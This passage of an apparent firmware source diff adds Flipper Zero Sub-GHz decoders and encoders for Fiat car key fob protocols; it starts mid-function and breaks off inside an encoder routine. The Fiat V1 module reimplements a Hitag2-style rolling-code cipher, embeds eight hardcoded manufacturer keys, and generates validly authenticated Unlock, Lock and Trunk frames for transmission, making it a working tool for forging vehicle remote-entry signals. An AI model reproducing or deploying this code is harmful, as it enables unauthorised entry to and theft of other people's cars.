event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
} else {
if(duration < te_long) {
diff = te_long - duration;
} else {
diff = duration - te_long;
}
if(diff < te_delta) {
event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
}
}
}
if(event != ManchesterEventReset) {
bool data_bit_bool;
if(manchester_advance(
instance->manchester_state,
event,
&instance->manchester_state,
&data_bit_bool)) {
uint32_t new_bit = data_bit_bool ? 1 : 0;
uint32_t carry = (instance->data_low >> 31) & 1;
instance->data_low = (instance->data_low << 1) | new_bit;
instance->data_high = (instance->data_high << 1) | carry;
instance->bit_count++;
if(instance->bit_count == 64) {
instance->fix = instance->data_low;
instance->hop = instance->data_high;
instance->data_low = 0;
instance->data_high = 0;
}
if(instance->bit_count == 0x47) {
instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
fiat_v0_finish_packet(instance);
}
}
} else {
if(instance->bit_count == 0x47) {
instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
fiat_v0_finish_packet(instance);
} else if(instance->bit_count < 64) {
instance->decoder.parser_step = FiatV0DecoderStepReset;
}
}
break;
}
default:
break;
}
}
uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret != SubGhzProtocolStatusOk) {
return ret;
}
uint32_t serial = instance->fix;
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t btn = instance->endbyte;
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t cnt = instance->hop;
if(!flipper_format_write_uint32(flipper_format, "Cnt", &cnt, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t endbyte_ff = instance->endbyte;
if(!flipper_format_write_uint32(flipper_format, "EndByte", &endbyte_ff, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
return SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_fiat_v0_const.min_count_bit_for_found);
if(status != SubGhzProtocolStatusOk) {
return status;
}
instance->hop = (uint32_t)(instance->generic.data >> 32U);
instance->fix = (uint32_t)(instance->generic.data & 0xFFFFFFFFU);
instance->decoder.decode_data = instance->generic.data;
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
uint32_t endbyte_u32 = 0U;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "EndByte", &endbyte_u32, 1)) {
instance->endbyte = (uint8_t)(endbyte_u32 & 0x7FU);
} else {
flipper_format_rewind(flipper_format);
uint32_t btn = 0;
flipper_format_read_uint32(flipper_format, "Btn", &btn, 1);
instance->endbyte = (uint8_t)(btn & 0x7FU);
}
instance->generic.serial = instance->fix;
instance->generic.btn = instance->endbyte;
instance->generic.cnt = instance->hop;
return status;
}
void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderFiatV0* instance = context;
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%08lX%08lX\r\n"
"Hop:%08lX\r\n"
"Sn:%08lX\r\n"
"EndByte:%02X\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
instance->hop,
instance->fix,
instance->hop,
instance->fix,
instance->endbyte & 0x3F);
}
+39
View File
@@ -0,0 +1,39 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/toolbox/manchester_decoder.h>
#include <flipper_format/flipper_format.h>
#define FIAT_PROTOCOL_V0_NAME "Fiat V0"
typedef struct SubGhzProtocolDecoderFiatV0 SubGhzProtocolDecoderFiatV0;
typedef struct SubGhzProtocolEncoderFiatV0 SubGhzProtocolEncoderFiatV0;
extern const SubGhzProtocol fiat_protocol_v0;
// Decoder functions
void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_fiat_v0_reset(void* context);
void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output);
// Encoder functions
void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_fiat_v0_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_fiat_v0_stop(void* context);
LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context);
+968
View File
@@ -0,0 +1,968 @@
#include "fiat_v1.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <string.h>
#define TAG "FiatProtocolV1"
#define FIAT_V1_TE_SHORT 250U
#define FIAT_V1_TE_LONG 500U
#define FIAT_V1_TE_DELTA 100U
#define FIAT_V1_TE_B_SHORT 100U
#define FIAT_V1_TE_B_LONG 200U
#define FIAT_V1_TE_B_DELTA 50U
#define FIAT_V1_WIRE_BITS 104U
#define FIAT_V1_WIRE_BYTES 13U
#define FIAT_V1_WIRE_CELLS (FIAT_V1_WIRE_BITS * 2U)
#define FIAT_V1_LOGICAL_BITS 102U
#define FIAT_V1_VARIANT_COUNT 2U
#define FIAT_V1_BOUNDARY_MIN_US 800U
#define FIAT_V1_DEFAULT_TAIL_BITS 2U
#define FIAT_V1_RAW_FIELD "Raw"
#define FIAT_V1_HOP_FIELD "Hop"
#define FIAT_V1_TAIL_BITS_FIELD "Tail Bits"
#define FIAT_V1_XOR_FIELD "XOR"
#define FIAT_V1_HITAG2_KEY_FIELD "Hitag2 Key"
#define FIAT_V1_HITAG2_EPOCH_FIELD "Hitag2 Epoch"
#define FIAT_V1_KNOWN_KEY_COUNT 8U
#define FIAT_V1_ENC_LEAD_US 2033U
#define FIAT_V1_ENC_GAP_US 3252U
#define FIAT_V1_ENC_DEFAULT_REPEAT 6U
#define FIAT_V1_UPLOAD_CAPACITY 240U
static const SubGhzBlockConst subghz_protocol_fiat_v1_const = {
.te_short = FIAT_V1_TE_SHORT,
.te_long = FIAT_V1_TE_LONG,
.te_delta = FIAT_V1_TE_DELTA,
.min_count_bit_for_found = FIAT_V1_LOGICAL_BITS,
};
static const SubGhzBlockConst subghz_protocol_fiat_v1_const_b = {
.te_short = FIAT_V1_TE_B_SHORT,
.te_long = FIAT_V1_TE_B_LONG,
.te_delta = FIAT_V1_TE_B_DELTA,
.min_count_bit_for_found = FIAT_V1_LOGICAL_BITS,
};
static const SubGhzBlockConst* fiat_v1_variant_const(uint8_t variant) {
return (variant == 0U) ? &subghz_protocol_fiat_v1_const : &subghz_protocol_fiat_v1_const_b;
}
typedef enum {
FiatV1DecoderStepReset = 0,
FiatV1DecoderStepData = 1,
} FiatV1DecoderStep;
struct SubGhzProtocolDecoderFiatV1 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint8_t cells[FIAT_V1_VARIANT_COUNT][FIAT_V1_WIRE_CELLS];
uint16_t cell_count[FIAT_V1_VARIANT_COUNT];
uint8_t raw_data[FIAT_V1_WIRE_BYTES];
uint8_t last_raw_data[FIAT_V1_WIRE_BYTES];
bool last_raw_valid;
uint32_t uid;
uint32_t hop;
uint8_t family;
uint8_t tail_bits;
uint8_t frame_xor;
uint8_t hitag2_key[6];
uint32_t hitag2_epoch;
bool hitag2_key_valid;
};
struct SubGhzProtocolEncoderFiatV1 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
uint8_t raw_data[FIAT_V1_WIRE_BYTES];
uint8_t hitag2_key[6];
uint32_t epoch;
uint32_t hop;
uint8_t tail_bits;
uint8_t frame_xor;
};
static bool fiat_v1_feed_data_pulse(
SubGhzProtocolDecoderFiatV1* instance,
bool level,
uint32_t duration);
static bool fiat_v1_frame_valid(const uint8_t raw[FIAT_V1_WIRE_BYTES]);
static void fiat_v1_build_raw(
uint8_t raw[FIAT_V1_WIRE_BYTES],
uint32_t uid,
uint8_t button,
uint16_t control,
uint32_t auth,
uint8_t tail_bits);
static void fiat_v1_verify_hitag2_key(SubGhzProtocolDecoderFiatV1* instance);
static void subghz_protocol_decoder_fiat_v1_free(void* context) {
furi_assert(context);
free(context);
}
const SubGhzProtocolDecoder subghz_protocol_fiat_v1_decoder = {
.alloc = subghz_protocol_decoder_fiat_v1_alloc,
.free = subghz_protocol_decoder_fiat_v1_free,
.feed = subghz_protocol_decoder_fiat_v1_feed,
.reset = subghz_protocol_decoder_fiat_v1_reset,
.get_hash_data = subghz_protocol_decoder_fiat_v1_get_hash_data,
.serialize = subghz_protocol_decoder_fiat_v1_serialize,
.deserialize = subghz_protocol_decoder_fiat_v1_deserialize,
.get_string = subghz_protocol_decoder_fiat_v1_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_fiat_v1_encoder = {
.alloc = subghz_protocol_encoder_fiat_v1_alloc,
.free = subghz_protocol_encoder_fiat_v1_free,
.deserialize = subghz_protocol_encoder_fiat_v1_deserialize,
.stop = subghz_protocol_encoder_fiat_v1_stop,
.yield = subghz_protocol_encoder_fiat_v1_yield,
};
const SubGhzProtocol fiat_v1_protocol = {
.name = FIAT_V1_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_fiat_v1_decoder,
.encoder = &subghz_protocol_fiat_v1_encoder,
};
static bool fiat_v1_duration_is_short(uint8_t variant, uint32_t duration) {
const SubGhzBlockConst* c = fiat_v1_variant_const(variant);
return DURATION_DIFF(duration, c->te_short) < c->te_delta;
}
static bool fiat_v1_duration_is_long(uint8_t variant, uint32_t duration) {
const SubGhzBlockConst* c = fiat_v1_variant_const(variant);
return DURATION_DIFF(duration, c->te_long) < c->te_delta;
}
static bool fiat_v1_duration_is_pulse(uint32_t duration) {
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
if(fiat_v1_duration_is_short(variant, duration) ||
fiat_v1_duration_is_long(variant, duration)) {
return true;
}
}
return false;
}
static bool fiat_v1_button_valid(uint8_t button) {
return button == 0x1U || button == 0x2U || button == 0x4U || button == 0x8U;
}
static const char* fiat_v1_button_name(uint8_t button) {
switch(button) {
case 0x8U:
return "Unlock";
case 0x4U:
return "Lock";
case 0x2U:
return "Trunk";
case 0x1U:
return "Close";
default:
return "Unknown";
}
}
static uint8_t fiat_v1_frame_xor(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
uint8_t value = 0x01U;
for(uint8_t i = 0U; i < FIAT_V1_WIRE_BYTES - 1U; i++) {
value ^= raw[i];
}
return value;
}
static void fiat_v1_build_raw(
uint8_t raw[FIAT_V1_WIRE_BYTES],
uint32_t uid,
uint8_t button,
uint16_t control,
uint32_t auth,
uint8_t tail_bits) {
memset(raw, 0, FIAT_V1_WIRE_BYTES);
raw[1] = 0x01U;
raw[2] = (uint8_t)(uid >> 24U);
raw[3] = (uint8_t)(uid >> 16U);
raw[4] = (uint8_t)(uid >> 8U);
raw[5] = (uint8_t)uid;
raw[6] = (uint8_t)(((button & 0x0FU) << 4U) | ((control >> 6U) & 0x0FU));
raw[7] = (uint8_t)(((control & 0x3FU) << 2U) | ((auth >> 30U) & 0x03U));
raw[8] = (uint8_t)(auth >> 22U);
raw[9] = (uint8_t)(auth >> 14U);
raw[10] = (uint8_t)(auth >> 6U);
raw[11] = (uint8_t)((auth << 2U) | (tail_bits & 0x03U));
raw[12] = fiat_v1_frame_xor(raw);
}
static uint32_t fiat_v1_uid(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
return ((uint32_t)raw[2] << 24U) | ((uint32_t)raw[3] << 16U) |
((uint32_t)raw[4] << 8U) | raw[5];
}
static uint32_t fiat_v1_counter(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
return ((uint32_t)(raw[6] & 0x0FU) << 6U) | (raw[7] >> 2U);
}
static uint32_t fiat_v1_hop(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
return ((uint32_t)(raw[7] & 0x03U) << 30U) | ((uint32_t)raw[8] << 22U) |
((uint32_t)raw[9] << 14U) | ((uint32_t)raw[10] << 6U) | (raw[11] >> 2U);
}
static bool fiat_v1_frame_valid(const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
if(raw[0] != 0x00U || raw[1] != 0x01U) {
return false;
}
if(fiat_v1_frame_xor(raw) != raw[12]) {
return false;
}
if(!fiat_v1_button_valid(raw[6] >> 4U)) {
return false;
}
const uint32_t uid = fiat_v1_uid(raw);
return uid != 0U && uid != UINT32_MAX;
}
static void fiat_v1_clear_cells(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant) {
instance->cell_count[variant] = 0U;
memset(instance->cells[variant], 0, FIAT_V1_WIRE_CELLS);
}
static void fiat_v1_clear_all_cells(SubGhzProtocolDecoderFiatV1* instance) {
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
fiat_v1_clear_cells(instance, variant);
}
}
static void fiat_v1_decode_fields(SubGhzProtocolDecoderFiatV1* instance) {
instance->family = instance->raw_data[1];
instance->uid = fiat_v1_uid(instance->raw_data);
instance->generic.serial = instance->uid;
instance->generic.btn = instance->raw_data[6] >> 4U;
instance->generic.cnt = fiat_v1_counter(instance->raw_data);
instance->hop = fiat_v1_hop(instance->raw_data);
instance->tail_bits = instance->raw_data[11] & 0x03U;
instance->frame_xor = instance->raw_data[12];
instance->generic.data = ((uint64_t)instance->generic.serial << 32U) | instance->hop;
instance->generic.data_count_bit = FIAT_V1_LOGICAL_BITS;
instance->decoder.decode_data = instance->generic.data;
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
fiat_v1_verify_hitag2_key(instance);
}
static bool fiat_v1_commit(
SubGhzProtocolDecoderFiatV1* instance,
const uint8_t raw[FIAT_V1_WIRE_BYTES]) {
if(!fiat_v1_frame_valid(raw)) {
return false;
}
if(instance->last_raw_valid && memcmp(instance->last_raw_data, raw, FIAT_V1_WIRE_BYTES) == 0) {
return true;
}
memcpy(instance->raw_data, raw, FIAT_V1_WIRE_BYTES);
memcpy(instance->last_raw_data, raw, FIAT_V1_WIRE_BYTES);
instance->last_raw_valid = true;
fiat_v1_decode_fields(instance);
FURI_LOG_D(
TAG,
"Accepted UID:%08lX Btn:%02X Cnt:%03lX Auth:%08lX XOR:%02X",
(unsigned long)instance->uid,
instance->generic.btn,
(unsigned long)instance->generic.cnt,
(unsigned long)instance->hop,
instance->frame_xor);
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
return true;
}
static bool
fiat_v1_try_decode_window(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant, bool invert) {
if(instance->cell_count[variant] != FIAT_V1_WIRE_CELLS) {
return false;
}
const uint8_t* cells = instance->cells[variant];
uint8_t raw[FIAT_V1_WIRE_BYTES] = {0};
for(uint8_t bit_index = 0U; bit_index < FIAT_V1_WIRE_BITS; bit_index++) {
const uint8_t first = cells[bit_index * 2U];
const uint8_t second = cells[bit_index * 2U + 1U];
if(first == second) {
return false;
}
bool bit = first != 0U;
if(invert) {
bit = !bit;
}
if(bit) {
raw[bit_index >> 3U] |= (uint8_t)(1U << (7U - (bit_index & 7U)));
}
}
return fiat_v1_commit(instance, raw);
}
static void fiat_v1_try_decode(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant) {
if(fiat_v1_try_decode_window(instance, variant, false)) {
return;
}
(void)fiat_v1_try_decode_window(instance, variant, true);
}
static void
fiat_v1_push_cell(SubGhzProtocolDecoderFiatV1* instance, uint8_t variant, bool level) {
uint8_t* cells = instance->cells[variant];
if(instance->cell_count[variant] < FIAT_V1_WIRE_CELLS) {
cells[instance->cell_count[variant]++] = level ? 1U : 0U;
} else {
memmove(cells, &cells[1], FIAT_V1_WIRE_CELLS - 1U);
cells[FIAT_V1_WIRE_CELLS - 1U] = level ? 1U : 0U;
}
fiat_v1_try_decode(instance, variant);
}
static bool fiat_v1_feed_data_pulse(
SubGhzProtocolDecoderFiatV1* instance,
bool level,
uint32_t duration) {
bool matched = false;
for(uint8_t variant = 0U; variant < FIAT_V1_VARIANT_COUNT; variant++) {
if(fiat_v1_duration_is_short(variant, duration)) {
fiat_v1_push_cell(instance, variant, level);
matched = true;
} else if(fiat_v1_duration_is_long(variant, duration)) {
fiat_v1_push_cell(instance, variant, level);
fiat_v1_push_cell(instance, variant, level);
matched = true;
} else {
if(!level && duration >= FIAT_V1_BOUNDARY_MIN_US) {
fiat_v1_push_cell(instance, variant, false);
}
fiat_v1_clear_cells(instance, variant);
}
}
return matched;
}
static void fiat_v1_rebuild_raw(SubGhzProtocolDecoderFiatV1* instance) {
fiat_v1_build_raw(
instance->raw_data,
instance->generic.serial,
instance->generic.btn,
(uint16_t)(instance->generic.cnt & 0x03FFU),
instance->hop,
instance->tail_bits);
if(instance->family && instance->family != 0x01U) {
instance->raw_data[1] = instance->family;
instance->raw_data[12] = fiat_v1_frame_xor(instance->raw_data);
}
if(instance->frame_xor) {
instance->raw_data[12] = instance->frame_xor;
}
}
static uint8_t fiat_v1_truth(uint32_t table, uint8_t index) {
return (uint8_t)((table >> index) & 1U);
}
static uint8_t fiat_v1_filter_index(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {
return (uint8_t)((a << 3U) | (b << 2U) | (c << 1U) | d);
}
static uint8_t fiat_v1_byte_bit(uint8_t byte, uint8_t bit) {
return (uint8_t)((byte >> bit) & 1U);
}
static uint8_t fiat_v1_bcm_hitag2_filter(const uint8_t state[6]) {
uint8_t group = 0U;
group |= fiat_v1_truth(
0x2c79U,
fiat_v1_filter_index(
fiat_v1_byte_bit(state[0], 1U),
fiat_v1_byte_bit(state[0], 2U),
fiat_v1_byte_bit(state[0], 4U),
fiat_v1_byte_bit(state[0], 5U)));
group |= (uint8_t)(fiat_v1_truth(
0x6671U,
fiat_v1_filter_index(
fiat_v1_byte_bit(state[1], 0U),
fiat_v1_byte_bit(state[1], 1U),
fiat_v1_byte_bit(state[1], 3U),
fiat_v1_byte_bit(state[1], 7U)))
<< 1U);
group |= (uint8_t)(fiat_v1_truth(
0x6671U,
fiat_v1_filter_index(
fiat_v1_byte_bit(state[3], 5U),
fiat_v1_byte_bit(state[2], 0U),
fiat_v1_byte_bit(state[2], 2U),
fiat_v1_byte_bit(state[2], 6U)))
<< 2U);
group |= (uint8_t)(fiat_v1_truth(
0x6671U,
fiat_v1_filter_index(
fiat_v1_byte_bit(state[4], 6U),
fiat_v1_byte_bit(state[3], 0U),
fiat_v1_byte_bit(state[3], 2U),
fiat_v1_byte_bit(state[3], 3U)))
<< 3U);
group |= (uint8_t)(fiat_v1_truth(
0x2c79U,
fiat_v1_filter_index(
fiat_v1_byte_bit(state[5], 1U),
fiat_v1_byte_bit(state[5], 3U),
fiat_v1_byte_bit(state[5], 4U),
fiat_v1_byte_bit(state[4], 5U)))
<< 4U);
return fiat_v1_truth(0x7907287bUL, group);
}
static uint8_t fiat_v1_parity8(uint8_t value) {
value ^= (uint8_t)(value >> 4U);
value ^= (uint8_t)(value >> 2U);
value ^= (uint8_t)(value >> 1U);
return value & 1U;
}
static uint8_t fiat_v1_bcm_hitag2_feedback(const uint8_t state[6]) {
static const uint8_t masks[6] = {0xb3U, 0x80U, 0x83U, 0x22U, 0x00U, 0x73U};
uint8_t feedback = 0U;
for(uint8_t i = 0U; i < 6U; i++) {
feedback ^= fiat_v1_parity8((uint8_t)(state[i] & masks[i]));
}
return feedback & 1U;
}
static void fiat_v1_bcm_hitag2_shift(uint8_t state[6], uint8_t input) {
for(uint8_t i = 0U; i < 5U; i++) {
state[i] = (uint8_t)((state[i] << 1U) | (state[i + 1U] >> 7U));
}
state[5] = (uint8_t)((state[5] << 1U) | (input & 1U));
}
static uint8_t fiat_v1_input_bit_u32_be(uint32_t value, uint8_t index) {
return (uint8_t)((value >> (31U - index)) & 1U);
}
static uint8_t fiat_v1_input_bit_bytes_be(const uint8_t* bytes, uint8_t index) {
return (uint8_t)((bytes[index >> 3U] >> (7U - (index & 7U))) & 1U);
}
static uint32_t fiat_v1_bcm_generate_authenticator(
uint32_t uid,
uint8_t button,
uint16_t control,
const uint8_t key[6],
uint32_t epoch) {
uint8_t state[6] = {
(uint8_t)(uid >> 24U),
(uint8_t)(uid >> 16U),
(uint8_t)(uid >> 8U),
(uint8_t)uid,
key[4],
key[5],
};
const uint32_t iv =
((epoch & 0x3FFFFUL) << 14U) | (((uint32_t)control & 0x03FFUL) << 4U) |
((uint32_t)button & 0x0FUL);
for(uint8_t i = 0U; i < 32U; i++) {
const uint8_t input = fiat_v1_input_bit_u32_be(iv, i) ^
fiat_v1_input_bit_bytes_be(key, i) ^
fiat_v1_bcm_hitag2_filter(state);
fiat_v1_bcm_hitag2_shift(state, input);
}
uint32_t authenticator = 0U;
for(uint8_t i = 0U; i < 32U; i++) {
authenticator = (authenticator << 1U) | fiat_v1_bcm_hitag2_filter(state);
fiat_v1_bcm_hitag2_shift(state, fiat_v1_bcm_hitag2_feedback(state));
}
return authenticator;
}
static const uint8_t fiat_v1_known_keys[FIAT_V1_KNOWN_KEY_COUNT][6] = {
{0xB7U, 0x92U, 0x80U, 0xAEU, 0xCCU, 0x37U},
{0xD4U, 0x24U, 0x28U, 0xF7U, 0xD9U, 0x66U},
{0x4DU, 0x34U, 0x3FU, 0xD4U, 0xE7U, 0xB6U},
{0x6DU, 0x6BU, 0xF2U, 0x1DU, 0x3AU, 0x1AU},
{0xA3U, 0xF3U, 0xACU, 0xF7U, 0xB9U, 0x10U},
{0x4DU, 0x49U, 0x4BU, 0x52U, 0x4FU, 0x4EU},
{0xCDU, 0x49U, 0x4BU, 0x52U, 0x4FU, 0x4EU},
{0x33U, 0xFAU, 0x2FU, 0xCDU, 0xC3U, 0x3BU},
};
static bool fiat_v1_key_matches(
uint32_t uid,
uint8_t button,
uint16_t control,
uint32_t hop,
const uint8_t key[6],
uint32_t epoch) {
return fiat_v1_bcm_generate_authenticator(uid, button, control, key, epoch) == hop;
}
static void fiat_v1_verify_hitag2_key(SubGhzProtocolDecoderFiatV1* instance) {
instance->hitag2_key_valid = false;
instance->hitag2_epoch = 0U;
memset(instance->hitag2_key, 0, sizeof(instance->hitag2_key));
const uint32_t uid = instance->uid;
const uint8_t button = instance->generic.btn;
const uint16_t control = (uint16_t)(instance->generic.cnt & 0x03FFU);
const uint32_t hop = instance->hop;
for(uint8_t i = 0U; i < FIAT_V1_KNOWN_KEY_COUNT; i++) {
if(fiat_v1_key_matches(
uid, button, control, hop, fiat_v1_known_keys[i], instance->hitag2_epoch)) {
memcpy(instance->hitag2_key, fiat_v1_known_keys[i], sizeof(instance->hitag2_key));
instance->hitag2_key_valid = true;
return;
}
}
}
static bool fiat_v1_encoder_build_upload(SubGhzProtocolEncoderFiatV1* instance) {
furi_check(instance);
LevelDuration* upload = instance->encoder.upload;
if(!upload) {
return false;
}
size_t index = 0U;
upload[index++] = level_duration_make(true, FIAT_V1_ENC_LEAD_US);
for(uint8_t bit_index = 0U; bit_index < FIAT_V1_WIRE_BITS; bit_index++) {
const bool bit =
((instance->raw_data[bit_index >> 3U] >> (7U - (bit_index & 7U))) & 1U) != 0U;
upload[index++] = level_duration_make(bit, FIAT_V1_TE_SHORT);
upload[index++] = level_duration_make(!bit, FIAT_V1_TE_SHORT);
}
upload[index++] = level_duration_make(false, FIAT_V1_ENC_GAP_US);
instance->encoder.size_upload = index;
instance->encoder.front = 0U;
return true;
}
void* subghz_protocol_encoder_fiat_v1_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderFiatV1* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatV1));
furi_check(instance);
instance->base.protocol = &fiat_v1_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
instance->tail_bits = FIAT_V1_DEFAULT_TAIL_BITS;
instance->encoder.repeat = FIAT_V1_ENC_DEFAULT_REPEAT;
return instance;
}
void subghz_protocol_encoder_fiat_v1_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV1* instance = context;
free(instance->encoder.upload);
free(instance);
}
void subghz_protocol_encoder_fiat_v1_stop(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV1* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
}
LevelDuration subghz_protocol_encoder_fiat_v1_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFiatV1* instance = context;
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
instance->encoder.size_upload == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
SubGhzProtocolStatus
subghz_protocol_encoder_fiat_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
furi_check(flipper_format);
SubGhzProtocolEncoderFiatV1* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0U;
flipper_format_rewind(flipper_format);
FuriString* protocol_name = furi_string_alloc();
bool protocol_ok = flipper_format_read_string(flipper_format, "Protocol", protocol_name) &&
furi_string_equal(protocol_name, instance->base.protocol->name);
furi_string_free(protocol_name);
if(!protocol_ok) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t bit_count = 0U;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count, 1) ||
bit_count != FIAT_V1_LOGICAL_BITS) {
return SubGhzProtocolStatusErrorValueBitCount;
}
instance->generic.data_count_bit = bit_count;
uint32_t serial = 0U;
uint32_t button = 0U;
uint32_t control = 0U;
uint8_t raw_from_file[FIAT_V1_WIRE_BYTES] = {0};
flipper_format_rewind(flipper_format);
if(flipper_format_read_hex(flipper_format, FIAT_V1_RAW_FIELD, raw_from_file, sizeof(raw_from_file)) &&
fiat_v1_frame_valid(raw_from_file)) {
serial = fiat_v1_uid(raw_from_file);
button = raw_from_file[6] >> 4U;
control = fiat_v1_counter(raw_from_file);
instance->tail_bits = raw_from_file[11] & 0x03U;
} else {
SubGhzBlockGeneric generic = {0};
flipper_format_rewind(flipper_format);
if(subghz_block_generic_deserialize_check_count_bit(
&generic, flipper_format, subghz_protocol_fiat_v1_const.min_count_bit_for_found) ==
SubGhzProtocolStatusOk) {
serial = (uint32_t)(generic.data >> 32U);
button = generic.btn;
control = generic.cnt;
}
}
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Btn", &button, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Cnt", &control, 1);
if(serial == 0U || serial == UINT32_MAX || !fiat_v1_button_valid((uint8_t)button)) {
return SubGhzProtocolStatusErrorParserOthers;
}
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(
flipper_format, FIAT_V1_HITAG2_KEY_FIELD, instance->hitag2_key, 6U)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t epoch = 0U;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, FIAT_V1_HITAG2_EPOCH_FIELD, &epoch, 1U)) {
instance->epoch = epoch & 0x3FFFFUL;
} else {
instance->epoch = 0U;
}
control &= 0x03FFU;
button &= 0x0FU;
instance->generic.serial = serial;
instance->generic.btn = (uint8_t)button;
instance->generic.cnt = control;
instance->hop = fiat_v1_bcm_generate_authenticator(
serial, (uint8_t)button, (uint16_t)control, instance->hitag2_key, instance->epoch);
instance->generic.data = ((uint64_t)serial << 32U) | instance->hop;
instance->generic.data_count_bit = FIAT_V1_LOGICAL_BITS;
fiat_v1_build_raw(
instance->raw_data,
serial,
(uint8_t)button,
(uint16_t)control,
instance->hop,
instance->tail_bits);
instance->frame_xor = instance->raw_data[12];
uint32_t repeat = FIAT_V1_ENC_DEFAULT_REPEAT;
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
